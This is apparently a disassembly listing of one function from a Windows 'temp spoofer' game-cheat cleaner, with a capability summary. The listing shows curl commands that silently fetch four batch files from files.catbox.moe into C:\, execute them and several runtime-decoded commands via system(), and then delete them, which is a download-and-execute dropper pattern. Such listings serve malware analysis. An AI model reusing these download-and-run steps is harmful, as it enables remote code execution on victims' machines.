Function at 0x14001d1c0
Capabilities:
Delete file
Execute command
Terminate process

Disassembly:
push rdi
sub rsp, 0x1f0
mov rax, qword [0x1400e44c0]
xor rax, rsp
mov qword [rsp + 0x1e0], rax
lea rcx, [0x14009b4e8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor r9d, r9d
lea r8, str.AA_Services______TEMP_SPOOFER
lea rdx, str.Please_wait_until_the_cleaners_have_finished.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rdx, [fcn.14001da4c]
lea rcx, [rsp + 0x60]
call fcn.140001eb0
nop
lea rdx, [0x140022ba8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x20]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rsp + 0xd8]
lea rcx, [rsp + 0x20]
call fcn.140019e3c
mov rcx, rax
call fcn.140018cdc
mov qword [rsp + 0x38], rax
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
call fcn.1400030e8
lea rcx, str.curl_https:__files.catbox.moe_2v89lz.bat__o_C:2v89lz.bat___silent
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__files.catbox.moe_lgq9lu.bat__o_C:lgq9lu.bat___silent
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__files.catbox.moe_lkukpl.bat__o_C:lkukpl.bat___silent
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__files.catbox.moe_ax0mfy.bat__o_C:_ax0mfy.bat___silent
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rsp + 0x21]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rsp + 0x98]
lea rcx, [rsp + 0x21]
call fcn.14001a5b8
mov rcx, rax
call fcn.140018fdc
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x14009b674]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rsp + 0x22]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rsp + 0xa8]
lea rcx, [rsp + 0x22]
call fcn.14001a860
mov rcx, rax
call fcn.140018fdc
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x14009b678]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rsp + 0x23]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rsp + 0xb8]
lea rcx, [rsp + 0x23]
call fcn.14001aa84
mov rcx, rax
call fcn.140018fdc
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x14009b67c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rsp + 0x24]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0x24]
call fcn.14001ab28
mov rcx, rax
call fcn.140018fdc
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x14009b680]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:2v89lz.bat
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:lgq9lu.bat
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:lkukpl.bat
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:_ax0mfy.bat
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rdx, [0x140022ba8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x25]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rsp + 0x2b]
lea rcx, [rsp + 0x25]
call fcn.14001abd8
mov rcx, rax
call fcn.140018c5c
mov qword [rsp + 0x48], rax
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
call fcn.1400030e8
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rsp + 0x58], rax
lea rdx, str.Loading_applecheats_cleaner..._________________________________________________________Press_NO_on_reset_adapters_
lea rcx, [rsp + 0x70]
call fcn.140015244
mov dword [rsp + 0x90], 6
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x58]
call fcn.140018474
nop
lea rcx, [rsp + 0x70]
call fcn.1400181d0
call fcn.14001d674
lea rax, [rsp + 0x26]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rsp + 0x2c]
lea rcx, [rsp + 0x26]
call fcn.14001ac70
mov rcx, rax
call fcn.140018c7c
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rsp + 0x27]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rsp + 0x170]
lea rcx, [rsp + 0x27]
call fcn.14001ad14
mov rcx, rax
call fcn.140019224
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rsp + 0x28]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x28]
call fcn.14001adb8
mov rcx, rax
call fcn.140019204
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rsp + 0x29]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0x29]
call fcn.140019974
mov rcx, rax
call fcn.1400191e4
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rsp + 0x2a]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x2a]
call fcn.140019a24
mov rcx, rax
call fcn.140018c7c
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
lea rcx, [rsp + 0x60]
call fcn.140018230
nop
mov rcx, qword [rsp + 0x1e0]
xor rcx, rsp
call fcn.140095790
add rsp, 0x1f0
pop rdi
ret